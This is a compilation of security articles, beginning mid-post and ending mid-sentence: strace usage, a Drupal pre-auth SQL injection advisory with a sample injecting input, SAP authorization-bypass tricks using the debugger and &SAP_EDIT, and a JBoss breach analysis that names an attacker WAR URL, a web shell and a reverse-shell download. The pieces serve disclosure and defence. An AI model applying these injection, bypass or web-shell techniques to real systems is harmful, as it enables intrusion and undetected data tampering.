    17
    18
    19
    20
    
[/code]

|

[code]

    ~/code/x86-os$ strace ./pid
    
    execve("./pid", ["./pid"], [/* 20 vars */]) = 0
    brk(0)                                  = 0x9aa0000
    access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
    mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7767000
    access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
    open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    fstat64(3, {st_mode=S_IFREG|0644, st_size=18056, ...}) = 0
    mmap2(NULL, 18056, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7762000
    close(3)                                = 0
    
    [...snip...]
    
    getpid()                                = 14678
    fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 1), ...}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7766000
    write(1, "14678\n", 614678
    )                  = 6
    exit_group(6)                           = ?
    
[/code]  
---|---  
Each line of output shows a system call, its arguments, and a return value. If
you put `getpid(2)` in a loop running 1000 times, you would still have only
one `getpid()` syscall because of the PID caching. We can also see that
`printf(3)` calls `write(2)` after formatting the output string.

`strace` can start a new process and also attach to an already running one.
You can learn a lot by looking at the syscalls made by different programs. For
example, what does the `sshd` daemon do all day?

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    
[/code]

|

[code]

    ~/code/x86-os$ ps ax | grep sshd
    12218 ?        Ss     0:00 /usr/sbin/sshd -D
    
    ~/code/x86-os$ sudo strace -p 12218
    Process 12218 attached - interrupt to quit
    select(7, [3 4], NULL, NULL, NULL
    
    [
      ... nothing happens ... 
      No fun, it's just waiting for a connection using select(2)
      If we wait long enough, we might see new keys being generated and so on, but
      let's attach again, tell strace to follow forks (-f), and connect via SSH
    ]
    
    ~/code/x86-os$ sudo strace -p 12218 -f
    
    [lots of calls happen during an SSH login, only a few shown]
    
    [pid 14692] read(3, "-----BEGIN RSA PRIVATE KEY-----\n"..., 1024) = 1024
    [pid 14692] open("/usr/share/ssh/blacklist.RSA-2048", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
    [pid 14692] open("/etc/ssh/blacklist.RSA-2048", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
    [pid 14692] open("/etc/ssh/ssh_host_dsa_key", O_RDONLY|O_LARGEFILE) = 3
    [pid 14692] open("/etc/protocols", O_RDONLY|O_CLOEXEC) = 4
    [pid 14692] read(4, "# Internet (IP) protocols\n#\n# Up"..., 4096) = 2933
    [pid 14692] open("/etc/hosts.allow", O_RDONLY) = 4
    [pid 14692] open("/lib/i386-linux-gnu/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = 4
    [pid 14692] stat64("/etc/pam.d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
    [pid 14692] open("/etc/pam.d/common-password", O_RDONLY|O_LARGEFILE) = 8
    [pid 14692] open("/etc/pam.d/other", O_RDONLY|O_LARGEFILE) = 4
    
[/code]  
---|---  
SSH is a large chunk to bite off, but it gives a feel for strace usage. Being
able to see which files an app opens can be useful \(“where the hell is this
config coming from?”\). If you have a process that appears stuck, you can
strace it and see what it might be doing via system calls. When some app is
quitting unexpectedly without a proper error message, check if a syscall
failure explains it. You can also use filters, time each call, and so so:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
[/code]

|

[code]

    ~/code/x86-os$ strace -T -e trace=recv curl -silent www.google.com. > /dev/null
    
    recv(3, "HTTP/1.1 200 OK\r\nDate: Wed, 05 N"..., 16384, 0) = 4164 <0.000007>
    recv(3, "fl a{color:#36c}a:visited{color:"..., 16384, 0) = 2776 <0.000005>
    recv(3, "adient(top,#4d90fe,#4787ed);filt"..., 16384, 0) = 4164 <0.000007>
    recv(3, "gbar.up.spd(b,d,1,!0);break;case"..., 16384, 0) = 2776 <0.000006>
    recv(3, "$),a.i.G(!0)),window.gbar.up.sl("..., 16384, 0) = 1388 <0.000004>
    recv(3, "margin:0;padding:5px 8px 0 6px;v"..., 16384, 0) = 1388 <0.000007>
    recv(3, "){window.setTimeout(function(){v"..., 16384, 0) = 1484 <0.000006>
    
[/code]  
---|---  
I encourage you to explore these tools in your OS. Using them well is like
having a super power.

But enough useful stuff, let’s go back to design. We’ve seen that a userland
app is trapped in its virtual address space running in ring 3
\(unprivileged\). In general, tasks that involve only computation and memory
accesses do _not_ require syscalls. For example, C library functions like
strlen\(3\) and memcpy\(3\) have nothing to do with the kernel. Those happen
within the app.

The man page sections for a C library function \(the 2 and 3 in parenthesis\)
also offer clues. Section 2 is used for system call wrappers, while section 3
contains other C library functions. However, as we saw with `printf(3)`, a
library function might ultimately make one or more syscalls.

If you’re curious, here are full syscall listings for Linux \(also Filippo’s
list\) and Windows. They have ~310 and ~460 system calls, respectively. It’s
fun to look at those because, in a way, they represent _all that software can
do_ on a modern computer. Plus, you might find gems to help with things like
interprocess communication and performance. This is an area where “Those who
do not understand Unix are condemned to reinvent it, poorly.”

Many syscalls perform tasks that take eons compared to CPU cycles, for example
reading from a hard drive. In those situations the calling process is often
_put to sleep_ until the underlying work is completed. Because CPUs are so
fast, your average program is **I/O bound** and spends most of its life
sleeping, waiting on syscalls. By contrast, if you strace a program busy with
a computational task, you often see no syscalls being invoked. In such a case,
top\(1\) would show intense CPU usage.

The overhead involved in a system call can be a problem. For example, SSDs are
so fast that general OS overhead can be more expensive than the I/O operation
itself. Programs doing large numbers of reads and writes can also have OS
overhead as their bottleneck. Vectored I/O can help some. So can memory mapped
files, which allow a program to read and write from disk using only memory
access. Analogous mappings exist for things like video card memory.
Eventually, the economics of cloud computing might lead us to kernels that
eliminate or minimize user/kernel mode switches.

Finally, syscalls have interesting security implications. One is that no
matter how obfuscated a binary, you can still examine its behavior by looking
at the system calls it makes. This can be used to detect malware, for example.
We can also record profiles of a known program’s syscall usage and alert on
deviations, or perhaps whitelist specific syscalls for programs so that
exploiting vulnerabilities becomes harder. We have a ton of research in this
area, a number of tools, but not a killer solution yet.

And that’s it for system calls. I’m sorry for the length of this post, I hope
it was helpful. More \(and shorter\) next week, RSS and Twitter. Also, last
night I made a promise to the universe. This post is dedicated to the glorious
Clube Atlético Mineiro.

  

# Advisory 01/2014: Drupal - pre Auth SQL Injection Vulnerability | SektionEins GmbH
**Created:**| _10/16/2014 3:24:49 PM_  
---|---  
**Updated:**| _10/16/2014 3:24:49 PM_  
**Author:**| __  
**Tags:**| _Exploit Drupal_  
  

# Advisory 01/2014: Drupal - pre Auth SQL Injection Vulnerability

* * *
Posted: 2014-10-15 06:23 | Auf Deutsch lesen | More posts about Advisories
* * *
[code]

                             SektionEins GmbH
                            www.sektioneins.de
    
                         -= Security  Advisory =-
    
         Advisory: Drupal - pre-auth SQL Injection Vulnerability
     Release Date: 2014/10/15
    Last Modified: 2014/10/15
           Author: Stefan Horst [stefan.horst[at]sektioneins.de]
    
      Application: Drupal >= 7.0 <= 7.31
         Severity: Full SQL injection, which results in total control and code execution of Website.
             Risk: Highly Critical
    Vendor Status: Drupal 7.32 fixed this bug
        Reference: http://www.sektioneins.com/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
    
    Overview:
    
      Quote from http://www.drupal.org
      "Come for the software, stay for the community
    
       Drupal is an open source content management platform powering millions
       of websites and applications. It’s built, used, and supported by an
       active and diverse community of people around the world."
    
      During a code audit of Drupal extensions for a customer an SQL Injection
          was found in the way the Drupal core handles prepared statements.
    
      A malicious user can inject arbitrary SQL queries. And thereby
      control the complete Drupal site. This leads to a code execution as well.
    
          This vulnerability can be exploited by remote attackers without any
          kind of authentication required.
    
    Details:
    
      Drupal uses prepared statements in all its SQL queries. To handle IN
      statements there is an expandArguments function to expand arrays.
    
        protected function expandArguments(&$query, &$args) {
          $modified = FALSE;
    
          // If the placeholder value to insert is an array, assume that we need
          // to expand it out into a comma-delimited set of placeholders.
          foreach (array_filter($args, 'is_array') as $key => $data) {
            $new_keys = array();
            foreach ($data as $i => $value) {
              // This assumes that there are no other placeholders that use the same
              // name.  For example, if the array placeholder is defined as :example
              // and there is already an :example_2 placeholder, this will generate
              // a duplicate key.  We do not account for that as the calling code
              // is already broken if that happens.
              $new_keys[$key . '_' . $i] = $value;
            }
    
            // Update the query with the new placeholders.
            // preg_replace is necessary to ensure the replacement does not affect
            // placeholders that start with the same exact text. For example, if the
            // query contains the placeholders :foo and :foobar, and :foo has an
            // array of values, using str_replace would affect both placeholders,
            // but using the following preg_replace would only affect :foo because
            // it is followed by a non-word character.
            $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
    
            // Update the args array with the new placeholders.
            unset($args[$key]);
            $args += $new_keys;
    
            $modified = TRUE;
          }
    
          return $modified;
        }
    
      The function assumes that it is called with an array which has no keys. Example:
    
        db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
    
      Which results in this SQL Statement
    
        SELECT * from users where name IN (:name_0, :name_1)
    
      with the parameters name_0 = user1 and name_1 = user2.
    
      The Problem occurs, if the array has keys, which are no integers. Example:
    
        db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
    
      this results in an exploitable SQL query:
    
         SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
    
      with parameters :name_test = user2.
    
      Since Drupal uses PDO, multi-queries are allowed. So this SQL Injection can
          be used to insert arbitrary data in the database, dump or modify existing data
          or drop the whole database.
    
      With the possibility to INSERT arbitrary data into the database an
      attacker can execute any PHP code through Drupal features with callbacks.
    
    Patch:
    
        $new_keys = array();
        foreach (array_values($data) as $i => $value) {
          // This assumes that there are no other placeholders that use the same
          // name.  For example, if the array placeholder is defined as :example
          // and there is already an :example_2 placeholder, this will generate
          // a duplicate key.  We do not account for that as the calling code
          // is already broken if that happens.
          $new_keys[$key . '_' . $i] = $value;
        }
    
    Proof of Concept:
    
      SektionEins GmbH has developed a proof of concept, but was asked by
      Drupal to postpone the release.
    
    Disclosure Timeline:
    
      16. Sep.  2014 - Notified the Drupal devs via security contact form
      15. Okt.  2014 - Relase of Bugfix by Drupal core Developers
    
    Recommendation:
    
      It is recommended to upgrade to the latest version of Drupal.
    
      Grab your copy at:
      https://www.drupal.org/project/drupal
    
    CVE Information:
    
      The Common Vulnerabilities and Exposures project (cve.mitre.org) has
      assigned the name CVE-2014-3704 to this vulnerability.
    
    GPG-Key:
    
      pub  2048D/7830F25D 2014-08-12 Stefan Horst
      Key fingerprint = 380D 2FEE 62E6 83AE 6A5C  7267 6AE5 40BE 7830 F25D
    
    Copyright 2014 SektionEins GmbH. All rights reserved.
    
[/code]

# Fuzzing: Brute Force Vulnerability Discovery

**Created:**| _9/3/2009 3:50:52 PM_  
---|---  
**Updated:**| _9/8/2009 2:05:33 PM_  
**Author:**| __  
**Tags:**| _Fuzzer quotes_  
  

### History of Fuzzing

The earliest reference to fuzzing of which we are aware dates back to 1989.
Professor Barton Miller \(considered by many to be the "father" of fuzzing\)
and his Advanced Operating Systems class developed and used a primitive fuzzer
to test the robustness of UNIX applications.\[2\] The focus of the testing was
not necessarily to assess the security of the system, but rather the overall
code quality and reliability. Although security considerations were mentioned
in passing throughout the study, no particular emphasis was placed on `setuid`
applications during testing. In 1995, this testing was repeated with an
expanded set of UNIX utilities and operating systems being tested. The 1995
study found an overall improvement in application reliability, but still noted
"significant rates of failure."

> \[2\] http://www.cs.wisc.edu/~bart/fuzz/
The fuzz testing method employed by Miller's team was very crude. If the
application crashed or hung, it had failed the test. If it did not, it had
succeeded. It accomplished this by simply throwing random strings of
characters at target applications, a pure black box approach. Although this
might seem overly simplistic, keep in mind that the concept of fuzzing was
relatively unheard of at the time.

Around 1999, work began at the University of Oulu on their PROTOS test suite.
Various PROTOS test suites were developed by first analyzing protocol
specifications and then producing packets that either violated the
specification or were deemed likely not to be handled properly by specific
protocol implementation. Producing such test suites took considerable effort
up front, but once produced, the test suites could be run against multiple
vendor products. This is an example of a mixed white and black box approach
and marked an important milestone in the evolution of fuzzing due to the large
number of faults that were uncovered using this process.

In 2002 Microsoft provided funding to the PROTOS initiative\[3\] and in 2003
members of the PROTOS team launched Codenomicon, a company dedicated to the
design and production of commercial fuzz testing suites. The product today is
still based on the original Oulu test suite but includes a graphical user
interface, user support, and fault detection through a health-checking
feature, among other things.\[4\] More information on Codenomicon and other
commercial fuzzing solutions is presented in Chapter 26, "Looking Forward."

> \[3\] http://www.ee.oulu.fi/research/ouspg/protos/index.html
> \[4\] http://www.codenomicon.com/products/features.shtml
As PROTOS matured in 2002, Dave Aitel released an open sourced fuzzer named
SPIKE\[5\] under the GNU General Public \(GPL\) license. Aitel's fuzzer
implements a block-based approach\[6\] intended for testing network-enabled
applications. SPIKE takes a more advanced approach than Miller's fuzzer, most
notably including the ability to describe variable-length data blocks.
Additionally, SPIKE can not only generate random data, but also bundles a
library of values that are likely to produce faults in poorly written
applications. SPIKE also includes predefined functions capable of producing
common protocols and data formats. Among them are Sun RPC and Microsoft RPC,
two communication technologies that have been at the heart of many past
vulnerabilities. As the first publicly available framework allowing users to
effortlessly create their own fuzzers, the release of SPIKE marked a
significant milestone. This framework is mentioned a number of times
throughout the book including inChapter 21, "Fuzzing Frameworks."

> \[5\] http://immunityinc.com/resources-freesoftware.shtml
> \[6\]
> http://www.immunityinc.com/downloads/advantages\_of\_block\_based\_analysis.html
Around the same time as the initial release of SPIKE, Aitel also released a
local UNIX fuzzer named sharefuzz. In contrast to Miller's fuzzer, sharefuzz
targets environment variables as opposed to command-line arguments. Sharefuzz
also employs a useful technique to facilitate the fuzzing process. It uses
shared libraries to hook function calls that return environment variable
values to return long strings as opposed to the actual values in an effort to
reveal buffer overflow vulnerabilities.

The majority of fuzzing innovations following the release of SPIKE came in the
form of tools for different specific classes of fuzzing. Michal Zalewski\[7\]
\(a.k.a. lcamtuf\) drew attention to Web browser fuzzing in 2004 with the
release of mangleme,\[8\] a Common Gateway Interface \(CGI\) script designed
to continually produce malformed HTML files that are repeatedly refreshed
within a targeted Web browser. Other fuzzers designed to target Web browsers
soon followed. H.D. Moore and Aviv Raff produced Hamachi\[9\] to fuzz Dynamic
HTML \(DHTML\) implementation flaws and the two later teamed up with Matt
Murphy and Thierry Zoller to produce CSSDIE,\[10\] a fuzzer that targets
cascading style sheet parsing.

> \[7\] http://lcamtuf.coredump.cx/
> \[8\] http://lcamtuf.coredump.cx/mangleme/mangle.cgi
> \[9\] http://metasploit.com/users/hdm/tools/hamachi/hamachi.html
> \[10\] http://metasploit.com/users/hdm/tools/see-ess-ess-die/cssdie.html
File fuzzing came into vogue in 2004. That year Microsoft released security
bulletin MS04-028 detailing a buffer overrun in the engine responsible for
processing JPEG files.\[11\] Although this was not the first discovered file
format vulnerability, it attracted attention due to the number of popular
Microsoft applications that shared the vulnerable code. File format
vulnerabilities also presented a unique challenge for those tasked with
protecting networks. Although a surprising number of similar vulnerabilities
would emerge in the following years, it was not realistic to simply block
potentially vulnerable file types from entering a corporate network. Images
and media files comprise a significant portion of Internet traffic. How
exciting could the Web be without images? Moreover, the majority of the
vulnerabilities that would soon plague Microsoft related to Microsoft Office
document files—file types critical to virtually all businesses. File format
vulnerabilities turned out to be a prime candidate for mutation-based fuzzing
as samples are readily available and can be mutated in rapid succession while
monitoring the target application for faults. We presented at the Black Hat
USA Briefings in 2005\[12\] and released a series of both mutation- and
generation-based tools designed to fuzz file formats including FileFuzz,
SPIKEfile, and notSPIKEfile.\[13\]

> \[11\] http://www.microsoft.com/technet/security/bulletin/MS04-028.mspx
> \[12\] http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-sutton.pdf
> \[13\] http://labs.idefense.com/software/fuzzing.php
In 2005, a company named Mu Security began development of a hardware fuzzing
appliance designed to mutate protocol data as it traverses a network.\[14\]
The emergence of this commercial vendor coincides with a present trend
indicating heightened interest in fuzz testing. We are beginning to see
increasing availability of commercial fuzzing solutions alongside the
evolution of freely available fuzzing technologies. Additionally, a large
community of developers and security researchers interested in fuzzing now
exists, as evident with the creation of the Fuzzing mailing list,\[15\]
maintained by Gadi Evron. Only time will tell what exciting innovations await
us.

> \[14\] http://www.musecurity.com/products/overview.html
> \[15\] http://www.whitestar.linuxbox.org/mailman/listinfo/fuzzing
ActiveX fuzzing became a popular target in 2006 when David Zimmer released
COMRaider and H.D. Moore published AxMan.\[16\] Both tools focused on ActiveX
controls that could be instantiated by Web applications when accessed with the
Microsoft Internet Explorer Web browser. Remotely exploitable vulnerabilities
in such applications represent a high risk due to the large user base. ActiveX
controls, as it turns out, are an excellent fuzzing target due to the fact
that they include descriptions of the interfaces, function prototypes, and
member variables within the actual control, allowing for intelligent automated
testing. ActiveX and browser fuzzing on a whole are studied in further detail
in Chapter 17, "Web Browser Fuzzing," and Chapter 18, "Web Browser Fuzzing:
Automation."

> \[16\] http://metasploit.com/users/hdm/tools/axman/
There are many other milestones and markers in the history of fuzzing, but
what has been provided thus so far suffices in painting the overall picture. A
graphical representation of the brief history of fuzzing is given in Figure
2.1.

##### Figure 2.1. Fuzzing history

\[View full size image\]

  

Despite the advances made thus far, fuzzing remains a technology in its
infancy. The majority of tools to date are relatively small projects
maintained by small groups of individuals or even a single programmer. It has
only been in the past couple of years that early-stage startups have entered
the commercial space. Although this lends credibility to fuzzing as a field on
its own, it is also an indication that fuzzing will see many further
innovations and reach new milestones in the coming years as increased funding
is made available for research.

In the next section, we cover the various phases involved in conducting a
complete fuzzing audit.

# SAP and Principle of Least Privilege

**Created:**| _7/16/2015 9:51:10 AM_  
---|---  
**Updated:**| _7/16/2015 9:51:10 AM_  
**Author:**| __  
**Tags:**| _sap_  
  

## Labs: SAP and Principle of Least Privilege

at Thursday, 16. July 2015

by Michael Schneider

In the years between 2000 and 2010 I have worked in an SAP R/3 environment as
a developer of simple applications based on ABAP as well as forms with
SAPscript. SAP developers require, apart from knowledge of programming,
economic knowledge and they must be familiar with the processes of the company
they work for so that they can write useful application for the business.

Back then, IT Security was not the biggest of all topics, even though there
was sensitive data contained in SAP systems. Implemented security was limited
to management of roles and the assignment thereof as well as permission
objects. A possibility is to divide these roles into groups such as HR,
Finances or Sales/Acquisitions. However, there is one group of users that
doesn’t really fit: developers. They need not only permission to develop
programs but also access to the data that they need to analyse. Apart from the
challenge to assign the right permission objects to the developers, there’s
another difficulty that has a massive impact on systems security: To hinder a
user from bypassing the controls that are put in place.

<img src='img/Temp2_7136.png' width='506' height='250' alt='SAP' />

SAP

#### Bypass Authentication Checks Using the Debugger

Most programs in SAP R/3 are based on ABAP and therefore, the R/3 system has
an extensive developer environment, complete with code editor and debugging. A
SAP system topology is usually divided in three layers:

  1. Developer System
  2. Test System
  3. Production System

A program is created in the Developer System and is being transported to the
other systems using the transport system \(transaction code _STMS_\). A
developer needs extensive permissions in the Developer System but should have
few rights as possible in the Production System.

In SAP, a program can be interrupted and debugged during runtime using
_breakpoints_. By entering `/h` in the command window, the debugger can be
started during runtime of a transaction. This is a useful feature to analyse
programs and should be used for testing purposes. However, the debugger can be
used to circumvent security checks.

Critical data and functions should be protected from unauthorized access. In
SAP’s concept, there are _permission objects_. During definition of such an
object, SAP uses _permission fields_ to direct permissions. Let’s create an
object called `Z_FIRMA with the fields `ACTVT@ and `ZFRMID`. `ACTVT` controls
activity such as read or write. `ZFRMID` controls access to various companies
\(ID of the companies\). A developer can use `AUTHORITY-CHECK` and the
permission object `Z_FIRMA` to check the permissions of users in his program.
The code to do this could look as follows:

[code]

    REPORT Z_SCIP_TEST.
    
    PARAMETERS p_zfrmid TYPE scarr-carrid DEFAULT 'SC'.
    
    AUTHORITY-CHECK
        OBJECT 'Z_FIRMA'
            ID 'ZFRMID' FIELD p_zfrmid
            ID 'ACTVT'  FIELD '03'. 
    
    IF sy-subrc = 0.
        SELECT ...
    ENDIF.
    
[/code]

Before the program executes the data request, symbolised with `SELECT ...`, it
checks if the user has permission to execute that request. It checks in the
userbase if the user has the permission object with the required activity as
well as the company ID assigned to him. If the permission check using
`AUTHORITY-CHECK` comes back positive, then the system variable `sy-subrc`
carries the value 0. If the check is negative, the value is different.

This check can be bypassed using the debugger. For each call to `AUTHORITY-
CHECK`, there can be a breakpoint. This means that the program is being halted
before each check of permissions so that the user can control the flow of the
program. The user executes the function and can manipulate the value of `sy-
subrc` and set it to 0. This tells the program that he does indeed have the
right to view data. Therefore every user with debug rights has the option to
bypass implemented authorization checks. Especially in Production Systems the
debug rights should be handed out very carefully.

#### Data Manipulation on Table Level

Apart from confidentiality, the integrity of data is an essential component of
a system’s security. SAP R/3 systems have a changelog for base data in order
to record changes as well as being able to trace them. If, for example, the
name of transaction _MM02_ is being changed, the system generates an entry in
the changelog that contains the ID of the user that changed it as well as
other data. This way, changes can be monitored.

Using transaction _SE16N_ the content of database tables can be displayed.
Entering `&SAP_EDIT` in the command window within the transaction, a user can
activate the edit functionality and change data on the table level. If a user
opens the table _MARA_ and changes the name of the material using `&SAP_EDIT`
then there’s no changelog entry. Therefore, rights to use `&SAP_EDIT` should
not be handed out in a Production System.

#### The Principle of Least Privilege

These two examples show that it’s immensely important to have a well thought-
out permission concept and have it implemented just as well. Each user, even
privileged user groups such as developers or administrator, should only have
the immediately necessary rights. These right should vary from system to
system \(Development, Production\). A developer doesn’t need developer or
debug rights in a Production System. These tasks can be completed in the
systems designed for these functions. This is true for not only SAP systems
but all other IT systems as well.

<img src='img/Temp2_7129.png' alt='German' /> This article has been translated
from German. To read its original version, click here.

\(920 words\)

Links:

  * http://wiki.scn.sap.com/wiki/display/ABAP/ABAP+Language+and+Runtime+Environment
  * http://wiki.scn.sap.com/wiki/display/ABAP/SAPscript

Tags: SAP, TAN

<img src='img/Temp2_7133.png' alt='twitter' /> <img src='img/Temp2_7139.png'
alt='facebook' /> <img src='img/Temp2_7131.png' alt='digg' /> <img
src='img/Temp2_7134.png' alt='google' /> <img src='img/Temp2_7138.png'
alt='myspace' /> <img src='img/Temp2_7130.png' alt='bookmarks' /> <img
src='img/Temp2_7132.png' alt='icio' /> <img src='img/Temp2_7135.png'
alt='slashdot' /> <img src='img/Temp2_7137.png' alt='webnews' /> <img
src='img/Temp2_7126.png' alt='yigg' /> <img src='img/Temp2_7125.png'
alt='live' /> <img src='img/Temp2_7128.png' alt='misterwong' /> <img
src='img/Temp2_7127.png' alt='yahoo' />

Labs Overview

# Analysis of a Real JBOSS Hack - 9b+

**Created:**| _11/10/2011 3:14:57 PM_  
---|---  
**Updated:**| _11/10/2011 3:14:57 PM_  
**Author:**| __  
**Tags:**| _Java jboss_  
  

## Analysis of a Real JBOSS Hack

**Summary**

This is an analysis of a recent attack observed on a on a large enterprise
network. The attackers compromised multiple servers via JBOSS JMX console
vulnerabilities. With this access they were able to install tools for remote
access and transmit data from the enterprise network to their C&C systems. The
attack, while not sophisticated, demonstrates some of the techniques used by
the hackers and burns their IP addresses that were used. We will discuss the
attack and our methodology for the detection and response.

Incident Explanation

  
On Friday October 28th, a first tier IDS engineer escalated an alert for
suspicious IRC traffic originating from a load balancer network. The traffic
did not immediately appear to be a malicious bot, but instead normal IRC
chatter to an undernet server. However, IRC traffic from the specific network
was abnormal, but not unreasonable that an administrator was responsible.
After contacting various responsible parties, we determined that the traffic
required further investigation.

Below is what we initially observed being sent to various IRC servers:

<img
src='http://getfile1.posterous.com/getfile/files.posterous.com/temp-2011-11-04/zAAorFjjIeAbonheAjiffoHtlkgmAddJrHevrlJEzhrjyqFlBbkEzddJfkJC/IRC.PNG.scaled500.png'
width='500' height='26' alt='Irc' />

<img
src='http://getfile4.posterous.com/getfile/files.posterous.com/temp-2011-11-04/jaraxlFuwFDfebFAFqFcIwsyvhuiGdIEagzievuwtzBjxsEHfaohyvGfdxze/nw_irc_clean.jpg.scaled500.jpg'
width='500' height='73' alt='Nw_irc_clean' />

Upon reviewing the IRC traffic it was determined that IRC traffic could be
ruled out as containing anything useful, and instead focus would be placed on
the other additional protocols the box was using to communicate with. It was
then that we began to see the suspicious IP addresses show up. Below is our
first glimpse at what looks to be malicious activity:

<img
src='http://getfile6.posterous.com/getfile/files.posterous.com/temp-2011-11-05/tnxffAfpafEykrEyJdkmxAoxjJynHinicHCsAekyABfhvghgGGwcqtsJclaj/bad_clean.png.scaled500.png'
width='500' height='55' alt='Bad_clean' />

What you can observe from the screenshot above is a 5MB file download from a
foriegn IP address and small bits of data being sent via a connection using
TCP port 3033. Keep in mind this server should not be talking to any host
outbound to the Internet. It was during this time that we felt convinced to
pull the server from the network and begin a more formal investigation.

While waiting for the server files, it dawned on me that this server was only
one of two sitting behind a load balancer. Another server was on the network
that either had a mirrored configuration or one that was also potentially
hacked. I immediately began searching for all traffic to or from that server’s
IP address and quickly realized something was wrong. Below is the traffic
observed originating from server two:

<img
src='http://getfile3.posterous.com/getfile/files.posterous.com/temp-2011-11-05/xspjzvdHFdikkgbolkyhEtnBnyqHiGHmvkiiAxtDadjrqendDhAEycfmidAF/server_two_bad_clean.png.scaled500.png'
width='500' height='53' alt='Server_two_bad_clean' />

Thousands of connections to one specific IP address requesting a 4KB package
over and over again is not normal behavior. After saving off the PCAPs and
doing some extracting, I discovered a ZIP archive resembling a very basic WAR
file with a cmp.jsp shell.

<img
src='http://getfile5.posterous.com/getfile/files.posterous.com/temp-2011-11-05/gzjwoAnvzECwAiEAitjobBdfACApewtsGAcvjuCiIBJynerfwcswdBIjrCHB/Screen_shot_2011-11-05_at_3.23.01_PM.png.scaled500.png'
width='500' height='383' alt='Screen_shot_2011-11-05_at_3' />

After a few hours myself and another team member were able to get our hands on
the likely compromised servers. Given there were two hacked servers and two of
us, we each took one of the servers and began our searches for suspicious
items. Specifically we started with our set of known bad actors that observed
in the outbound communications. This involved the following:

  * 86.121.110.96 \(Romania\)
  * 212.79.239.51 \(Netherlands\)
  * 130.237.188.216 \(Sweden\)
  * 94.125.182.255 \(Hungary\)
  * 208.83.20.130 \(Florida\)
  * 212.170.156.148 \(Spain\)
  * 212.170.149.56 \(Spain\)

Before I begin diving into the forensic process and reversing of the attack,
it is important to understand what it is we knew up until this point. Here is
a quick breakdown of the facts:

**Setup** :

  * Both servers behind a load balancer
  * Should not communicate outbound with anyone
  * Running Sun Web Server 7 and JBOSS 4 with a few applications

**Server One** :

  * Communicating with a bunch of IRC servers
  * Connections established via HTTP/HTTPS and TCP port 3303
  * Suspicious activity started at 2:12 AM

**Server Two** :

  * Requesting WAR/ZIP file with command shell JSP from a remote host
  * Activity started at 2:15 AM

While waiting for the searches to complete, my co-worker, Matt Wollenweber,
struck forensic gold and identified a recently added directory on server one.
Located within the tmp folder of the web server was a directory named “.. “
containing several files used by Zmeu bot. Pruning through the local logs
aided us in discovering that Zmeu was behind the noisy IRC traffic, but this
did not explain how Zmeu was installed.  
  
The searches returned a few hits on the suspicious IP addresses, but nothing
terribly useful. Based on the Zmeu discovery and network traffic, additional
keywords were added to identify the location of cmd.jsp and the presence of
Zmeu on each system. Located within one of the JBOSS directories of server one
was the cmd.jsp file. Server two on the other hand had a cmd.jsp file, but it
was located in the tmp folder of the JBOSS configuration that was set to clear
on reboot. .  
  
As a timeline was beginning to emerge, these attacks seemed more related than
not. Suspicious network activity started within minutes of each other and both
servers were running vulnerable versions of JBOSS. Fortunately for myself, I
was able to identify a PDF that documented exactly what we were experiencing,
an attack on JBOSS.

http://www.nruns.com/\_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf

Having an exposed, unauthenticated JBOSS jmx-console would allow attackers to
inject a URL of their choice into the JBOSS configuration that the server
would then use to fetch a new WAR file. After downloading the WAR, JBOSS would
deploy the package containing the cmd.jsp file therefore allowing an attacker
to execute commands remotely.  
  
Keeping these details in mind, we made our way to the server and access logs
to try and identify any deployed WAR files around that time of the weird
activity. On both servers we observed a single URL that was added to the
configuration:  
  
http://212.170.156.148/cmd.war

  
Shortly after the addition of the URL the server fetched the WAR and
automatically deployed it. On server one this was successful, but server two
seemed to fail in the deployment. The files were there, but call backs to the
cmd.jsp produced 404 errors and the attackers were not successful in gaining
access. Server one however had a couple commands passed to its newly created
cmd.jsp file:  

<img
src='http://getfile4.posterous.com/getfile/files.posterous.com/temp-2011-11-05/cbiievgeihAAAqnqrbCfpmmsnpcigHeolkcboGsgofEcjaDIhxlrwxwhsjAC/commands.png.scaled500.png'
width='500' height='113' alt='Commands' />

What can be observed from the above screenshot is a request to get nc.tgz from
rocarp.com. This site appears to be a legitimate, but has been hacked to serve
as a dropping point for the attackers tool kit. From the request itself we get
a small hint that the file may not be a compressed archive, but instead a PERL
script. Catting the downloaded file revealed a simple perl script used to
spawn a shell back to the attackers. Below are the contents of the PERL
script:

<img
src='http://getfile8.posterous.com/getfile/files.posterous.com/temp-2011-11-05/BhalGrovkqCiaasDIAlfcnspffzepztsJjAccfGssFBkstipAxJrozduttta/2011-10-31_14-50-39.png.scaled500.png'
width='500' height='156' alt='2011-10-31_14-50-39' />

What we were able to glean from this file and the commands passed to it was
that the Netherlands IP address and corresponding TCP port 3303 were that of
the attackers. Checking various timestamps and other data on the system seemed
to indicate that the attackers did not know what they had access to and
sensitive data went untouched. This attack seemed more like a lucky strike and
not a targeted attack.

  
At this point my co-worker and I threw the pile of screenshots, PCAPs and
times we knew of into a giant pile to begin sorting out. We were able to come
up with the following timeline to assist in our explanation of what happened:

<img src='img/Temp2_596.png' />

Click here to download:

**timeline\_edit.xls** \(41 KB\)  

\(download\)  

  
From this timeline it can be seen that the attackers went after the load
